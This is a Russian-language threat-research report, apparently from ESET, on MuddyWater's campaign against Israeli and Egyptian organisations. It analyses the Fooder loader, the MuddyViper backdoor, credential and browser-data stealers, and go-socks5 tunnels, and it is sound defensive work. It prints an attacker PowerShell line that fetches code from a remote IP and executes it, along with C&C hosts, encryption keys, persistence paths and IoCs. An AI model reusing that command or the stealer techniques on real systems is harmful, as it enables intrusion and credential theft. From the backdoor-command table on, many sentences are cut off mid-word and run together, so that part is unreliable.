Исследователи ESET выявили новую активность MuddyWater, направленную в основном на организации в Израиле, с одним подтвержденным случаем в Египте. MuddyWater, также известный как Mango Sandstorm или TA450, — это кибершпионская группа, связанная с Ираном, известная своим настойчивым таргетингом на государственные и критически важные инфраструктурные секторы, часто используя собственный вредоносный софт и общедоступные инструменты. В этой кампании злоумышленники развернули набор ранее не документированных, собственных инструментов с целью улучшения уклонения от обнаружения и закрепления. Среди этих инструментов — собственный загрузчик Fooder, предназначенный для выполнения MuddyViper, бэкдора на C/C++. Несколько версий Fooder маскируются под классическую игру Snake, а его внутренняя логика включает пользовательскую функцию задержки, вдохновленную механикой игры, в сочетании с частым использованием вызовов Sleep API. Эти функции предназначены для задержки выполнения и затруднения автоматического анализа. MuddyViper позволяет злоумышленникам собирать информацию о системе, выполнять файлы и команды оболочки, передавать файлы и эксфильтровать учетные данные для входа в Windows и данные браузера. Кампания также использует похитители учетных данных (CE‑Notes и LP‑Notes) и инструменты обратного туннелирования (go‑socks5), которые давно пользуются популярностью у операторов MuddyWater.
Хотя это наш первый публичный пост в блоге, посвященный MuddyWater, исследователи ESET отслеживают группу уже несколько лет и документировали ее деятельность в нескольких ESET
ESET
ESET
Отчетах о деятельности APT. В отличие от предыдущих кампаний MuddyWater, которые часто были шумными и легко обнаруживались, кампания, освещаемая в этом посте, демонстрирует более сфокусированный, сложный и утонченный подход.
Ключевые моменты этого поста:
- Разработчики MuddyWater приняли CNG, криптографический API Windows нового поколения, что уникально для групп, связанных с Ираном, и несколько нетипично для более широкого ландшафта угроз.
- Группа также использовала более продвинутые методы для развертывания MuddyViper, нового бэкдора, используя загрузчик (Fooder), который отраженно загружает его в память и выполняет.
- Мы предоставляем технический анализ инструментов, использованных в этой кампании, включая MuddyViper, загрузчик Fooder, похититель данных браузера CE‑Notes, похититель учетных данных LP‑Notes, похититель данных браузера Blub и обратные туннели go‑socks5.
- Во время этой кампании операторы сознательно избегали интерактивных сессий с клавиатуры, что является исторически шумной техникой, часто характеризующейся ошибками при вводе команд.
Обзор группы MuddyWater
MuddyWater — это кибершпионская группа, активная как минимум с 2017 года, в основном нацеленная на организации на Ближнем Востоке и в Северной Америке. Это одна из самых активных APT-групп, связанных с Ираном, отслеживаемых исследователями ESET, и она связана с Министерством разведки и национальной безопасности Ирана.
Группа впервые была представлена общественности как MuddyWater компанией Unit 42 в 2017 году, чье описание деятельности группы соответствует профилю ESET — фокус на кибершпионаже, использование вредоносных документов в качестве вложений, предназначенных для побуждения пользователей включать макросы и обходить средства контроля безопасности, а также основной таргетинг на организации, расположенные на Ближнем Востоке.
К заметным прошлым действиям относятся Operation Quicksand (2020), кампания кибершпионажа, направленная против израильских государственных структур и телекоммуникационных организаций, которая является примером эволюции группы от базовых фишинговых тактик до более продвинутых, многоэтапных операций; и кампания, нацеленная на политические группы и организации в Турции, демонстрирующая геополитический фокус группы, ее способность адаптировать тактики социальной инженерии к местным контекстам и зависимость от модульного вредоносного ПО и гибкой инфраструктуры C&C.
Помимо частой активности, операции MuddyWater часто бывают шумными. Группа известна своим настойчивым таргетингом на государственные, военные, телекоммуникационные секторы и секторы критической инфраструктуры, обычно используя собственный вредоносный софт и общедоступные инструменты для получения доступа, поддержания персистентности и эксфильтрации конфиденциальных данных. Помимо таргетинга на своего заклятого врага, Израиль, группа, по-видимому, нацелена на страны, которые поддерживают или стремятся укрепить дипломатические отношения с Ираном.
ESET задокументировал несколько кампаний, приписываемых MuddyWater, которые подчеркивают развивающийся набор инструментов группы и смещение операционного фокуса. В то время как ранние операции полагались на широкий таргетинг и относительно несложные методы, более поздние кампании демонстрируют признаки технического совершенствования и повышения точности.
В марте и апреле 2023 года MuddyWater нацелился на неустановленного жертву в Саудовской Аравии, развернув пакетный скрипт, который загрузил бэкдор на основе PowerShell, использовавшийся для загрузки и выполнения произвольных полезных нагрузок, а затем для удаления первоначальной полезной нагрузки с диска.
Группа провела кампанию в январе и феврале 2025 года, которая была примечательна своим операционным пересечением с Lyceum (подгруппа OilRig), подробно описанным в этой публикации. Это последнее пересечение предполагает эволюцию в методах работы MuddyWater.
Публично документированные собственные инструменты группы включают, например, бэкдоры Bugsleep, Blackout, Small Sieve, Mori и POWERSTATS, а также скомпилированные на заказ варианты инструментов с открытым исходным кодом, таких как LaZagne или CrackMapExec. Кампании MuddyWater обычно не используют или не вводят новые инструменты, вредоносное ПО или методы; вместо этого они часто примечательны своим таргетингом.
Хотя MuddyWater изначально концентрировался исключительно на кибершпионаже, его сотрудничество с Lyceum привело к таргетингу на производственный сектор через фишинг. Атака вызвала значительный шум и достигла малого в плане операционных целей.
Кампания, описанная в этой публикации, показывает то, что для MuddyWater кажется беспрецедентным развитием в наборе инструментов и техническом исполнении.
Жертвы
Как упоминалось ранее, во время этой кампании MuddyWater в основном нацеливался на организации в Израиле, а также одну в Египте. Таблица 1 перечисляет жертв по стране и вертикали. Кампания началась 30 сентября 2024 года и завершилась 18 марта 2025 года.
Таблица 1. Жертвы по стране и вертикали
| Страна | Вертикаль |
| Египет | Технологии |
| Израиль | Инжиниринг №1 |
| Инжиниринг №2 | |
| Инжиниринг №3 | |
| Местное самоуправление №1 | |
| Местное самоуправление №2 | |
| Производство | |
| Технологии | |
| Транспорт | |
| Коммунальные услуги | |
| Университет №1 | |
| Университет №2 | |
| Университет №3 | |
| Неопознанный №1 | |
| Неопознанный №2 | |
| Неопознанный №3 | |
| Неопознанный №4 | |
| Неопознанный №5 |
Интересно отметить, что жертва в секторе коммунальных услуг также была скомпрометирована Lyceum 11 февраля 2025 года.
Пересечение и сотрудничество с Lyceum
В начале 2025 года ESET Research выявил операционное пересечение между MuddyWater и Lyceum, подгруппой кибершпионской группы OilRig, связанной с Ираном, также известной как HEXANE или Storm-0133. OilRig активна как минимум с 2014 года и, как общепринято считать, базируется в Иране. Инструменты, которые мы относим к Lyceum, включают DanBot, Shark, Milan, Marlin, Solar, Mango, OilForceGTX и различные загрузчики, использующие легитимные облачные сервисы для C&C-связи. Ранее мы наблюдали, как Lyceum нацеливался на несколько израильских организаций, включая национальные и местные правительственные структуры, а также организации в секторе здравоохранения.
Во время кампании, описанной здесь, MuddyWater провел совместную подкампанию с OilRig в январе и феврале 2025 года. MuddyWater инициировал доступ через фишинговое электронное письмо, содержащее ссылку на установщик программного обеспечения для удаленного мониторинга и управления (RMM) Syncro. После первоначального компрометирования злоумышленники установили дополнительный инструмент RMM, PDQ, и развернули собственный загрузчик Mimikatz, замаскированный под файлы сертификатов с расширениями файлов .txt. Исходя из наблюдаемой активности, извлеченные учетные данные, вероятно, использовались Lyceum для получения доступа и контроля над операциями внутри целевой организации производственного сектора в Израиле.
Это сотрудничество предполагает, что MuddyWater может выступать в качестве брокера первоначального доступа для других групп, связанных с Ираном.
Атрибуция
Жертвы, TTP и инструменты, наблюдаемые в этой кампании, соответствуют нескольким недавно документированным возможностям и инструментам, которые мы ранее приписывали MuddyWater. Эта оценка основана на методе первоначального доступа и последующей доставке вредоносных инструментов — как правило, через фишинговые электронные письма, содержащие ссылки на загрузку программного обеспечения RMM.
TTP
Операторы MuddyWater продолжают полагаться на предсказуемые и основанные на скриптах бэкдоры, написанные на PowerShell и Go. Их таргетинг остается сосредоточенным на секторах телекоммуникаций, правительства, нефти и энергетики.
Первоначальный доступ обычно достигается через фишинговые электронные письма, часто содержащие вложения PDF, которые ссылаются на установщики программного обеспечения RMM, размещенные на бесплатных платформах обмена файлами, таких как OneHub, Egnyte или Mega. Эти ссылки приводят к загрузке инструментов RMM, включая Atera, Level, PDQ и SimpleHelp.
Среди инструментов, развернутых операторами MuddyWater, также присутствует бэкдор VAX‑One, названный в честь легитимного программного обеспечения, которое он имитирует: Veeam, AnyDesk, Xerox и служба обновления OneDrive.
Постоянная зависимость группы от этого знакомого сценария делает ее активность относительно легкой для обнаружения и блокировки.
Пересечение инструментов
Кроме того, мы выявили пересечения кода между несколькими недавно документированными инструментами и теми, которые мы ранее приписывали MuddyWater:
- LP-Notes, новый похититель учетных данных, имеет тот же дизайн, что и CE-Notes, похититель данных браузера, который мы ранее связывали с MuddyWater. Во время этой кампании мы также наблюдали загрузчик Mimikatz, который имеет тот же дизайн и методы обфускации, что и CE-Notes.
- Мы наблюдали несколько новых вариантов настроенных обратных туннелей go‑socks5 от MuddyWater, которые группа использовала на протяжении 2024 и 2025 годов.
- В двух случаях мы наблюдали настроенные обратные туннели go‑socks5, встроенные в новый загрузчик MuddyWater, внутренне названный Fooder. Еще в дюжине случаев этот загрузчик использовался для загрузки нового бэкдора MuddyWater, MuddyViper.
- Интересно, что MuddyViper и варианты загрузчика CE‑Notes/LP‑Notes/Mimikatz используют CNG API для шифрования и дешифрования данных. Насколько нам известно, это уникально для групп, связанных с Ираном. Еще одна черта, общая для этих инструментов, заключается в том, что они пытаются украсть учетные данные пользователя, открывая поддельное диалоговое окно Windows Security.
Набор инструментов
В этом посте мы документируем ранее неизвестные, собственные инструменты, используемые MuddyWater:
- Загрузчик Fooder — недавно идентифицированный загрузчик, который загружает бэкдор MuddyViper в память и выполняет его. Обратите внимание, что несколько версий Fooder маскируются под классическую игру Snake, отсюда и название MuddyViper. Еще одна примечательная особенность Fooder — частое использование пользовательской функции задержки, реализующей основную логику игры Snake, в сочетании с вызовами Sleep API. Эти функции предназначены для задержки выполнения в попытке скрыть вредоносное поведение от систем автоматического анализа.
- Бэкдор MuddyViper — ранее не документированный бэкдор на C/C++, который позволяет злоумышленникам собирать информацию о системе, скачивать и загружать файлы, выполнять файлы и команды оболочки, а также красть учетные данные Windows и данные браузера.
Остальная часть набора инструментов, задокументированного в этом посте, включает:
- CE-Notes, похититель данных браузера,
- LP-Notes, похититель учетных данных,
- Blub, похититель данных браузера, и
- несколько обратных туннелей go‑socks5.
Загрузчик Fooder
Fooder — это 64-битный загрузчик на C/C++, разработанный для дешифровки, а затем отраженной загрузки встроенной полезной нагрузки (как показано на Рисунке 1), причем MuddyViper является наиболее часто встречающейся полезной нагрузкой.
Fooder, по-видимому, является внутренним названием этого инструмента, судя по его PDB-путям:
- C:UserswinDesktopFooderDebugLauncher.pdb
- C:UserspcDesktopmainMy_ProjectFooderx64DebugLauncher.pdb
Хотя мы захватили только один образец, мы считаем, что Fooder запускается простым приложением-запускатором, написанным на C. Он не имеет обфускации строк и подробного логирования в консоль, а PDB-путь остается неизменным:
C:UserspcsourcereposConsoleApplication7x64ReleaseConsoleApplication7.pdb
Мы наблюдали один случай (SHA-1: 76632910CF67697BF5D7285FAE38BFCF438EC082) компонента, запускающего Fooder. Развернутый под именем %USERPROFILE%DownloadsOsUpdater.exe, запускатор ожидает идентификатор процесса в качестве аргумента командной строки. После выполнения он пытается дублировать токен указанного процесса через API DuplicateTokenEx, а затем использует CreateProcessAsUserA для запуска Fooder.
После выполнения Fooder дешифрует встроенную полезную нагрузку, выполняя следующие шаги:
- Аргумент командной строки (6) добавляется к каждому байту жестко заданного ключа, что дает ключ дешифрования AES, общий для всех образцов: 6969697820511281801712341067111416133321394945138510872296106446.
- Жестко заданное значение (5) вычитается из каждого байта жестко заданного полезной нагрузки.
- Наконец, жестко заданная полезная нагрузка дешифруется с использованием API WinCrypt и ключа AES.
Затем Fooder загружает полезную нагрузку непосредственно в память с использованием методов отражения, позволяя ей выполняться без использования стандартных системных вызовов или записи на диск.
После запуска таким образом Fooder использовался не только для доставки MuddyViper, но и HackBrowserData, утилиты с открытым исходным кодом, способной дешифровать и экспортировать конфиденциальную информацию браузера, такую как учетные данные и файлы cookie. Fooder также облегчает развертывание вариантов go‑socks5, которые представляют собой бинарные файлы, скомпилированные на Go, функционирующие как обратные туннели, позволяя злоумышленникам обходить межсетевые экраны и механизмы Network Address Translation (NAT). Примечательно, что группа MuddyWater ранее использовала go‑socks5 независимо от Fooder, что указывает на продолжающуюся зависимость от этого инструмента для скрытой сетевой связи и эксфильтрации данных.
Обратите внимание, что несколько версий Fooder маскируются под игру Snake — см. строки и мьютексы, выделенные на Рисунке 2 — его наиболее часто встраиваемая полезная нагрузка.
Еще одна примечательная особенность Fooder — частое использование пользовательской функции задержки (которая реализует основную логику игры Snake, где игрок маневрирует концом растущей линии, часто в виде змеи, чтобы избежать препятствий и собирать предметы) и вызовы Sleep API. Задержка в выполнении достигается путем имитации циклической функции задержки: как в игре Snake, где каждое движение контролируется циклом, который ждет короткий период перед обновлением игры. Цикл вводит задержки выполнения, которые замедляют поведение вредоносного ПО, помогая ему избежать инструментов, которые отслеживают быструю вредоносную активность. Рисунок 3 выделяет задержки и приветственный баннер игры Snake, представленный пользователю во время выполнения.
Fooder не имеет встроенной функции персистентности. Однако в случаях, когда конечной полезной нагрузкой Fooder является бэкдор MuddyViper, бэкдор может настроить персистентность для загрузчика через запланированную задачу или папку автозагрузки.
Бэкдор MuddyViper
MuddyViper, ранее не документированный бэкдор, написанный на C и C++, обеспечивает скрытый доступ и контроль над скомпрометированными системами. Мы наблюдали MuddyViper только в памяти, загруженный Fooder, что, возможно, является причиной отсутствия обфускации или шифрования строк. Как обычно для MuddyWater, MuddyViper отправляет чрезвычайно подробные и частые сообщения о статусе своему C&C-серверу на протяжении всего времени выполнения, например:
- [+] Persist: ——————— Hi,I am Live ———————
- [+] Persist: ——————— Hi,First Time ———————
- [-] Persist: failed Create task !!!!
Бэкдор также поддерживает длинный список из более чем 150 имен процессов и сведений о соответствующих продуктах, чтобы иметь возможность отправлять подробные отчеты об обнаруженных в скомпрометированной среде инструментах безопасности, хотя добавление сведений могло быть легко реализовано на стороне сервера:
- [>] Process: aciseagent.exe ~~> (Cisco Umbrella Roaming Security) —> (Security DNS) found!
- [>] Process: acnamagent.exe ~~> (Absolute Persistence) —> (Asset Management) found!
- [>] Process: acnamlogonagent.exe ~~> (Absolute Persistence) —> (Asset Management) found!
Такое поведение приводит к значительному сетевому трафику.
MuddyViper имеет два метода установления персистентности:
- Его каталог установки может быть сконфигурирован как папка автозагрузки Windows путем установки следующих значений реестра в %APPDATALOCAL%MicrosoftWindowsPPBCompatCacheManagerCache:
○
HKCUSoftwareMicrosoftWindowsCurrentVersionExplorerUser Shell FoldersStartup.○
HKCUSoftwareMicrosoftWindowsCurrentVersionExplorerShell FoldersStartup.
- Запланированная задача с именем ManageOnDriveUpdater может запускать MuddyViper из указанного пути при каждом запуске системы.
MuddyViper поддерживает 20 команд бэкдора — см. Таблицу 2 для подробной информации обо всех них — в частности, включая возможность открывать и управлять обратными оболочками, скачивать, загружать и выполнять файлы, сообщать о запущенных инструментах безопасности, красть учетные данные пользователя и данные из различных браузеров, настраивать собственную персистентность и удалять себя.
Таблица 2. Команды бэкдора MuddyViper
ID Аргументы Действие Ответ 200 N/A N/A 0 . Через GET /adad или GET /aq36 запрос, чтобы получить команду бэкдора. 207 N/A Расшифровывает встроенный инструмент HackBrowserData и загружает его рефлексивно в новый поток. Этот open-source инструмент может красть учетные данные, историю и другую информацию из веб-браузеров.Одна из команд в Таблице 2, с ID 805 , показывает поддельное диалоговое окно Windows Security. Оно пытается заставить жертву ввести свои учетные данные Windows, как показано на Рисунке 4. Похожую технику использует стилер MuddyWater LP-Notes (см. LP-Notes credential stealer ).Рисунок 4. Поддельное окно Windows Security, показанное MuddyViper (ID команды 805 )Другая команда, с ID 900 , предназначена для удаления MuddyViper с зараженного компьютера и очистки его персистентности. Однако команда не удаляет все следы бэкдора.Сетевой протоколДля связи с C&C сервером MuddyViper использует HTTP GET запросы (через WinHTTP API ) по порту 443 . Флаг WINHTTP_FLAG_SECURE настроен для использования SSL/TLS. Были замечены два C&C сервера: processplanet[.]org и 35.175.224[.]64 .В обоих направлениях связи данные шифруются AES-CBC. Используется CNG API с ключом (общим для всех образцов) 0608101047106453101617106423101013101012101083109710108585106969 и IV 0 .В направлении бэкдор → сервер:Каждый URI конечной точки, поддерживаемый C&C сервером, может использоваться бэкдором для определенного типа запроса. Например, для запроса команды, загрузки файла или отправки пользовательского сообщения о статусе. Дополнительные данные для C&C сервера включаются в тело HTTP-запроса, что нетипично для HВ направлении сервер → бэкдор:Код состояния HTTP определяет ID команды бэкдора. Аргументы команды бэкдора включаются в тело HTTP-ответа.CE-Notes browser-data stealerCE-Notes — это стилер данных браузера. Мы назвали его так из-за имени файла – ce-notes.txt – которое используется для временного хранения украденных данных на диске. Мы обнаружили CE-Notes в 2024 году, когда MuddyWater развертывал его EXE и DLL версии в системе организации в Израиле.CE-Notes был загружен следующей командой PowerShell:»C:WINDOWSSystem32WindowsPowerShellv1.0powershell.exe» (Invoke-WebRequest -UseDefaultCredentials -UseBasicParsing -Uri http://206.71.149[.]51:443/57576?filter_relational_operator_2=60169).content | Invoke-ExpressionОбе версии стилера данных браузера пытаются украсть и расшифровать ключ шифрования, привязанный к приложению. Этот ключ хранится в файле Local State ( %APPDATA%LocalGoogleChromeUser DataLocal State ) браузеров на основе Chromium (Chrome, Brave и Edge). Шифрование, привязанное к приложению, было введено в Chrome версии 127, включаСобранные данные шифруются AES-CBC с использованием CNG API. Ключ: 9262A37DF166AC1D5F582AAC79F54CCB47623BFD9BA001228D284AE13A08F52F. IV: 4103A09887B82FFD56A93BB431805224 .Затем зашифрованные данные сохраняются на диске в C:UsersPublicDownloadsce-notes.txt для последующего извлечения (вероятно, с помощью RMM-инструмента, так как ни EXE, ни DLL версии не имеют средств для эксфильтрации файла). Основное отличие между EXE и DLL — функция обхода виртуальных машинМы видели CE-Notes browser-data stealer в следующих местах:C:system2.dll C:UsersPublicDownloadssystem2.dll C:Intelsystem.dll C:20240926_165509.exeLP-Notes credential stealerLP-Notes — это C/C++ стилер учетных данных Windows. Его дизайн похож на CE-Notes browser-data stealer. Следуя той же схеме именования, что и CE-Notes, мы назвали стилер LP-Notes по локальному файлу, который он использует для временного хранения украденных учетных данных перед эксфильтрацией: C:UsersPublicDoИнициализацияПри выполнении LP-Notes сначала ищет процесс с именем taskhostw.exe (Host Process for Windows Tasks). Затем он имитирует контекст безопасности процесса (через API ImpersonateLoggedOnUser ). Только после этого LP-Notes активирует свой вредоносный полезный груз.LP-Notes использует несколько простых техник обфускации. Включая пользовательский алгоритм на основе сложения для расшифровки строк. Рисунок 5 показывает функцию, которая расшифровывает строки длиной от 15 до 19 символов. Ключ расшифровки всегда один и тот же – набор предопределенных констант, которыеРисунок 5. Алгоритм расшифровки строк LP-NotesРисунок 6. Алгоритм расшифровки строк CE-Notes, похожий на LP-NotesLP-Notes использует стекирование строк для строк короче 15 или длиннее 19 символов. Это включает ключ расшифровки, IV и имена импортов. Наконец, чтобы скрыть использование функций Windows API и усложнить статический анализ, LP-Notes динамически разрешает функции API во время C Рисунок 7. Функция WinMain LP-Notes с обфусцированными именами импортов (слева) и вид после деобфускации (справа)ВозможностиВ бесконечном цикле LP-Notes отображает поддельное диалоговое окно Windows Security. Оно запрашивает у жертвы имя пользователя и пароль Windows, как показано на Рисунке 8 (через API CredUIPromptForWindowsCredentialsW ). Обратите внимание, что, хотя это и похоже, это не тот же поддельный запрос учетных данных, что и у MuddyVРисунок 8. Поддельное окно Windows Security, показанное LP-NotesЕсли успешно, собранные учетные данные затем шифруются AES-CBC. Используется CNG API с ключом ED15C8344B45DAED1E0578F8BC1A32411812C61F4CB45D89B107287DE0E09FFC и IV 91A4E6F6D51DAEE773A8F00279792578 .Как и CE-Notes, LP-Notes затем сохраняет зашифрованные учетные данные в локальный файл – в данном случае C:UsersPublicDownloadslp-notes.txt . Поскольку ни один из этих компонентов не может эксфильтровать данные, вероятно, этим занимается другой компонент (либо RMM-инструмент, либо MuddyViper).Blub browser-data stealerBlub — это C/C++ стилер данных браузера. Он использует статически связанную библиотеку SQLite. Название происходит от имени файла Blub.exe . Мы видели PDB-путь C:Usersjojosourcereposstealerx64Releasestealer.pdb . Он крадет данные входа пользователей из Google Chrome, Microsoft Edge, Mozilla FirefoxБраузеры на основе ChromiumДля Chrome Blub сначала завершает работу chrome.exe (если он запущен), а затем анализирует и расшифровывает ключ шифрования из C:Users<username>AppDataLocalGoogleChromeUser DataLocal State . Этот ключ используется для шифрования конфиденциальных данных, хранящихся в Chrome, таких как пароли или файлы cookie, и он защищен SELECT origin_url, username_value, password_value FROM loginsАналогичная серия шагов используется для получения и расшифровки учетных данных пользователя из Microsoft Edge и Opera. Используется ключ, полученный из C:Users<username>AppDataLocalMicrosoftEdgeUser DataLocal State и C:Users<username>AppDataRoamingOpera SoftwareOpera StableLocFirefoxНаконец, для расшифровки сохраненных учетных данных пользователя для Mozilla Firefox, Blub анализирует значения hostname , encryptedUsername и encryptedPassword из файла logins.json в каталоге профиля каждого пользователя, т.е. %APPDATAROAMING%MozillaFirefoxProfiles<profile_name> . Затем учетные данные деСобранные данные сохраняются в локальный файл file.txt без шифрования. Те же данные записываются в консоль без шифрования, вместе с подробными сообщениями о состоянии. Blub не имеет возможности эксфильтровать этот файл.Обратите внимание, что Blub проверяет запущенные процессы, связанные с решениями безопасности, перед выполнением своего вредоносного полезного груза. Он фокусируется на комбинации процессов afwServ.exe (Avast firewall) и AvastSvc.exe (Avast antivirus). Если обнаружен запущенный afwServ.exe (но не AvastSvc.exe ), Blub заключает Хотя строки Blub хранятся в открытом виде, используется простая техника обфускации для строк, связанных с функционалом стилера данных Google Chrome. В частности, несколько строк объединяются в одну длинную строку, с 16 случайными символами между ними, видимо, чтобы скрыть их от vigdGlog}o{eRwjpw&»encrypted_key»:FAe[{hy|b-vcJvxGImpersonateLoggeh}gdOvlgt_NxuoolOpenProcessTokenVLUKKW’xxqjpwe}uDuplicateTokenExs5&}vl{tiplh|io|eIpuvvkdXznx(Gh}n2(sh|y⌂ryme~ds~Удаление мусорных символов и разделение строк дает:»encrypted_key»: ImpersonateLogge OpenProcessToken DuplicateTokenExgo‑socks5 reverse tunnelsMuddyWater’s go‑socks5 reverse tunnels — это набор инструментов, скомпилированных на Go. Они основаны на общедоступных библиотеках, таких как go‑socks5, yamux и resocks. Они часто использовались в недавних кампаниях MuddyWater.Большинство проанализированных нами вариантов, по-видимому, внутренне называются ESETGO (не имеет отношения к ESET), на основе строк конфигурации сборки, показанных на Рисунке 9 и в других артефактах.
path ESETGO mod ESETGO (devel) dep github.com/armon/go-socks5 v0.0.0-20160902184237-e75332964ef5h1:0CwZNZbxp69SHPdPJAN/hZIm0C4OItdklCFmMRWYpio= dep github.com/hashicorp/yamux v0.1.1 h1:yrQxtgseBDrq9Y652vSRDvsKCJKOUD+GzTS4Y0Y8pvE= dep golang.org/x/net v0.29.0 h1:5ORfpBpCs4HzDYoodCDBbwHzdR5UrLBZ3sOnUJmFoHo= dep golang.org/x/sys v0.25.0 h1:r+8e+loiHxRqhXVl6ML1nO3l1+oFoWbnlu2Ehimmi34= build -buildmode=exe build -compiler=gc build -ldflags="-w -s" build CGO_ENABLED=1 build CGO_CFLAGS= build CGO_CPPFLAGS= build CGO_CXXFLAGS= build CGO_LDFLAGS= build GOARCH=amd64 build GOOS=windows build GOAMD64=v1
Рисунок 9. Строки конфигурации сборки вариантов MuddyWater’s go‑socks5Основная цель прокси MuddyWater’s go‑socks5 — передавать связь между зараженной машиной (на определенном порту) и жестко закодированным C&C сервером. Используется жестко закодированный ключ соединения для аутентификации с C&C сервером через SSL/TLS. Эта настройка позволяет атакующему маршрутизировать C&C трафикЗаключениеЭта кампания указывает на эволюцию операционной зрелости MuddyWater. Развертывание ранее не документированных компонентов – таких как загрузчик Fooder и бэкдор MuddyViper – сигнализирует об усилиях по повышению скрытности, персистентности и возможностей сбора учетных данных. Использование игровых темMuddyWater продолжает демонстрировать способность проводить кампании от средних до выше средних, то есть своевременные, эффективные и все более сложные для защиты. Хотя мы считаем, что MuddyWater останется ведущим игроком в иранской активности, мы ожидаем дальнейшего ESET продолжит отслеживать деятельность группы, уделяя особое внимание дальнейшим признакам технического прогресса и стратегического нацеливания на правительственные, военные, телекоммуникационные и критически важные инфраструктуры.По любым вопросам о наших исследованиях, опубликованных на WeLiveSecurity, обращайтесь к нам по адресу threatintel@eset.com . ESET Research предлагает частные отчеты по APT-интеллекту и потоки данных. По любым вопросам об этой услуге посетите страницу ESET Threat Intelligence.IoCsФайлы
| SHA-1 | Имя файла | Обнаружение | Описание |
| 76632910CF67697BF5D7 |
OsUpdater |
Win64/MuddyWater.E | MuddyWater – загрузчик Fooder. |
| 1723D5EA7185D2E339FA |
Blub |
Win64/MuddyWater.H | MuddyWater – похититель данных браузера Blub. |
| 69B097D8A3205605506E |
Blub |
Win64/MuddyWater.H | MuddyWater – похититель данных браузера Blub. |
| B7A8F09CB5FF8A336539 |
Blub |
Win64/MuddyWater.H | MuddyWater – похититель данных браузера Blub. |
| B8997526E4781A6A1479 |
stealer |
Win64/MuddyWater.H | MuddyWater – похититель данных браузера Blub. |
| 8E21DE54638A79D8489C |
7d1e9726b5YZPYc |
Win32/MuddyWater.B | MuddyWater – похититель данных браузера CE-Notes. |
| CD47420F5CE408D95C98 |
fe197add74IVcQn |
Win64/MuddyWater.I | MuddyWater – похититель данных браузера CE-Notes. |
| C1299E8C9A8567A9C292 |
vmsvc |
Win64/MuddyWater.I | MuddyWater – похититель данных браузера CE-Notes. |
| 29CDA06701F9A9C0A679 |
3a70e4c8c2IVcQn |
Win64/MuddyWater.C | MuddyWater – похититель учетных данных LP-Notes. |
| 8F3ED626E7B929450E36 |
3a70e4c8c2IVcQn |
Win64/MuddyWater.C | MuddyWater – похититель учетных данных LP-Notes. |
| 007B5CD6D6ACF972F774 |
Dsync-es |
Win64/MuddyWater.F | MuddyWater – загрузчик Mimikatz. |
| CD36F93DBC4C71893059 |
App_chek |
Win64/MuddyWater.G | MuddyWater – загрузчик Fooder со встроенным инструментом HackBrowserData. |
| 47B70C47BEB33E88B419 |
steam |
Win64/MuddyWater.G | MuddyWater – загрузчик Fooder со встроенным обратным туннелем go‑socks5. |
| D46900D78AE036967E0B |
antimage |
Win32/MuddyWater.A | MuddyWater – загрузчик Fooder со встроенным обратным туннелем go‑socks5. |
| 0657D0B0610618886DDD |
wtsapi32.dll | Win64/MuddyWater.G | MuddyWater – загрузчик Fooder со встроенным бэкдором MuddyViper. |
| 2939FD218E0145D730BD |
msi.dll | Win64/MuddyWater.G | MuddyWater – загрузчик Fooder со встроенным бэкдором MuddyViper. |
| 3BC6502A55A4D5D29132 |
WinWin |
Win64/MuddyWater.G | MuddyWater – загрузчик Fooder со встроенным бэкдором MuddyViper. |
| 7950296331802188EB99 |
20241118_223247 |
Win64/MuddyWater.G | MuddyWater – загрузчик Fooder со встроенным бэкдором MuddyViper. |
| 8580824FE14DB1583881 |
Launcher.dll | Win64/MuddyWater.G | MuddyWater – загрузчик Fooder со встроенным бэкдором MuddyViper. |
| B48B93B4EB69D01588D3 |
Launcher |
Win64/MuddyWater.G | MuddyWater – загрузчик Fooder со встроенным бэкдором MuddyViper. |
| EA8A1C2382FF765709D7 |
vcruntime140_1 |
Win64/MuddyWater.G | MuddyWater – загрузчик Fooder со встроенным бэкдором MuddyViper. |
| EAF4BAFC62170C9FCA1F |
Launcher |
Win64/MuddyWater.G | MuddyWater – загрузчик Fooder со встроенным бэкдором MuddyViper. |
| F5EFBA6CCBA5A6AD6C3A |
ncrypt.dll | Win64/MuddyWater.G | MuddyWater – загрузчик Fooder со встроенным бэкдором MuddyViper. |
| 13DA612D75DC5268F523 |
WinWin(persist) |
Win64/MuddyWater.G | MuddyWater – загрузчик Fooder со встроенным бэкдором MuddyViper. |
| 25361183DE63F296BA71 |
0bff183a39ruQsY |
WinGo/TrojanProxy |
MuddyWater – обратный туннель go‑socks5. |
| 0E9A4892CFA1C9065B36 |
20d188afdcpfLFq |
WinGo/TrojanProxy |
MuddyWater – обратный туннель go‑socks5. |
| 2B09241CA025BDC4455E |
dttcodexgigas |
WinGo/TrojanProxy |
MuddyWater – обратный туннель go‑socks5. |
| 2E9BE23CDD8152DB6CD1 |
7295be2b1fHxjyf |
WinGo/TrojanProxy |
MuddyWater – обратный туннель go‑socks5. |
| 45FA7DE711FEA1F8D1E3 |
fa54125dc8ZpaNJ |
WinGo/TrojanProxy |
MuddyWater – обратный туннель go‑socks5. |
| 4E0EF2386980639FC535 |
20d188afdcWgOQB |
WinGo/TrojanProxy |
MuddyWater – обратный туннель go‑socks5. |
| 4E9529BA4A6E42D6278D |
bd34a33f5bHOVby |
WinGo/TrojanProxy |
MuddyWater – прокси-сервер обратного туннелирования go‑socks5. |
| 50C6D4A2AD16A231CF11 |
re |
WinGo/TrojanProxy |
MuddyWater – обратный туннель go‑socks5. |
| 52009F36058337B6401D |
bd34a33f5bHOVby |
WinGo/TrojanProxy |
MuddyWater – обратный туннель go‑socks5. |
| 535882B6EDAB29247E03 |
20d188afdcpfLFq |
WinGo/TrojanProxy |
MuddyWater – обратный туннель go‑socks5. |
| 544CE18E4C1F1B288DEE |
1110254b63WfTEa |
WinGo/TrojanProxy |
MuddyWater – обратный туннель go‑socks5. |
| 54EBC125039CC83E4682 |
FMAPP.dll | WinGo/TrojanProxy |
MuddyWater – обратный туннель go‑socks5. |
| 5A08150C1DC17E9F6912 |
bd34a33f5bJeJOf |
WinGo/TrojanProxy |
MuddyWater – прокси-сервер обратного туннелирования go‑socks5. |
| 5D1E61DA8083C41FF1FC |
bd34a33f5bJeJOf |
WinGo/TrojanProxy |
MuddyWater – обратный туннель go‑socks5. |
| 6532E0437C8913FA418F |
7295be2b1fHxjyf |
WinGo/TrojanProxy |
MuddyWater – обратный туннель go‑socks5. |
| 6CA41565844118385B34 |
re |
WinGo/TrojanProxy |
MuddyWater – обратный туннель go‑socks5. |
| 6FC50A99AAE1D6C40111 |
8525e604dfKuDNr |
WinGo/TrojanProxy |
MuddyWater – обратный туннель go‑socks5. |
| 826CFF5D85713CE4B2F3 |
bd34a33f5bJeJOf |
WinGo/TrojanProxy |
